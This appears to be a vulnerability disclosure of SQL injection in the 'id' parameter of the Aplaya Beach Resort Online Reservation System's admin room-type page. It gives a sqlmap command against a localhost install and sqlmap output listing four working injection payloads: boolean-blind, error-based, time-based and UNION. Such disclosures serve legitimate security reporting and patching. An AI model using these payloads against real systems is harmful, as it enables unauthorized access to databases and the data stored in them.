Aplaya-Beach-Resort-Online-Reservation-System-04

Vulnerability discovery author:Qianyongcun

Aplaya Beach Resort Online Reservation System - SQL Injection on(admin/mod_roomtype/index.php?view=view&id=XX) 

Vendor Homepage:
https://www.sourcecodester.com/aplaya-beach-resort-online-reservation-system.html 

Version:V1.0
Tested on: PHP, Apache, MySQL

Affected Page:
admin/mod_roomtype/index.php
On this page,id parameter is vulnerable to SQL Injection Attack 
Proof of vulnerability(Verify using the sqlmap tool after logining):

-> sqlmap -u http://localhost/aplaya/admin/mod_roomtype/index.php?view=view&id=96 --batch

Output:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: view=view&id=(SELECT (CASE WHEN (2000=2000) THEN 96 ELSE (SELECT 4924 UNION SELECT 4326) END))

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: view=view&id=96 OR (SELECT 1686 FROM(SELECT COUNT(*),CONCAT(0x7170717071,(SELECT (ELT(1686=1686,1))),0x716b717871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: view=view&id=96 AND (SELECT 3958 FROM (SELECT(SLEEP(5)))JoBe)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: view=view&id=96 UNION ALL SELECT NULL,NULL,CONCAT(0x7170717071,0x796f4d674d74455252454a4366656e76786d6675506347445277574e5652766d59655a4978766164,0x716b717871)-- -
---
[06:16:28] [INFO] the back-end DBMS is MySQL